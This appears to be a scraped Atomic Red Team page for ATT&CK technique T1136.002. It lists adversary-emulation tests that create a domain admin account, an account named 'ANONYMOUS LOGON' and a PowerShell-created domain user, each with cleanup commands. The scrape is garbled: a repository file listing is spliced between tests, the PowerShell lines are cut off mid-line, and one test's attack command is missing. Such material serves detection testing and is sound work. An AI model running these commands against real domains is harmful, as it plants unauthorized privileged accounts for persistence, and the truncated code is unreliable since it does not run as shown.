T1136.002 - Domain Account

Description from ATT&CK

> Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the `net user /add /domain` command can be used to create a domain account.
> Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

Atomic Tests

- Atomic Test #1 - Create a new Windows domain admin user
- Atomic Test #2 - Create a new account similar to ANONYMOUS LOGON
- Atomic Test #3 - Create a new Domain Account using PowerShell

Atomic Test #1 - Create a new Windows domain admin user

Creates a new domain admin user in a command prompt.

Supported Platforms: Windows

auto_generated_guid: fcec2963-9951-4173-9bfa-98d8b7834e62

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	String	T1136.002_Admin
password	Password of the user to create	String	T1136_pass123!
group	Domain administrator group to which add the user to	String	Domain Admins

Attack Commands: Run with `command_prompt`!

```
net user "#{username}" "#{password}" /add /domain
net group "#{group}" "#{username}" /add /domain
```

Cleanup Commands:

```
net user "#{username}" >nul 2>&1 /del /domain
```

Atomic Test #2 - Create a new account similar to ANONYMOUS LOGON

Create a new account similar to ANONYMOUS LOGON in a command prompt.

Supported Platforms: Windows

auto_generated_guid: dc7726d2-8ccb-4cc6-af22-0d5afb53a548

Inputs:

Name	Description	Type	Default Value
username	Username of the user to create	String	ANONYMOUS LOGON
password	Password of the user to create	String	T1136_pass123!

Attack Commands: Run with `command_prompt`!

Files
f339e7d
Go to file
- .github
- atomic_red_team
- atomics
  - Indexes
  - T1003.001
  - T1003.002
  - T1003.003
  - T1003.004
  - T1003.005
  - T1003.006
  - T1003.007
  - T1003.008
  - T1003
  - T1006
  - T1007
  - T1010
  - T1012
  - T1014
  - T1016
  - T1018
  - T1020
  - T1021.001

Cleanup Commands:

```
net user "#{username}" >nul 2>&1 /del /domain
```

Atomic Test #3 - Create a new Domain Account using PowerShell

Creates a new Domain User using the credentials of the Current User

Supported Platforms: Windows

auto_generated_guid: 5a3497a4-1568-4663-b12a-d4a5ed70c7d7

Inputs:

Name	Description	Type	Default Value
username	Name of the Account to be created	String	T1136.002_Admin
password	Password of the Account to be created	String	T1136_pass123!

Attack Commands: Run with `powershell`!

```
$SamAccountName = '#{username}'
$AccountPassword = ConvertTo-SecureString '#{password}' -AsPlainText -Fo
Add-Type -AssemblyName System.DirectoryServices.AccountManagement
$Context = New-Object -TypeName System.DirectoryServices.AccountManageme
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.
$User.SamAccountName = $SamAccountName
$TempCred = New-Object System.Management.Automation.PSCredential('a', $A
```

- T1021.002
- T1021.003
- T1021.006
- T1027.001
- T1027.002
- T1027.004
- T1027
- T1030
- T1033
- T1036.003
- T1036.004
- T1036.005
- T1036.006
- T1036
- T1037.001
- T1037.002
- T1037.004
- T1037.005
- T1039
- T1040

```
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
$User.DisplayName = $SamAccountName
$User.Save()
$User
```

Cleanup Commands:

```
cmd /c "net user #{username} /del >nul 2>&1"
```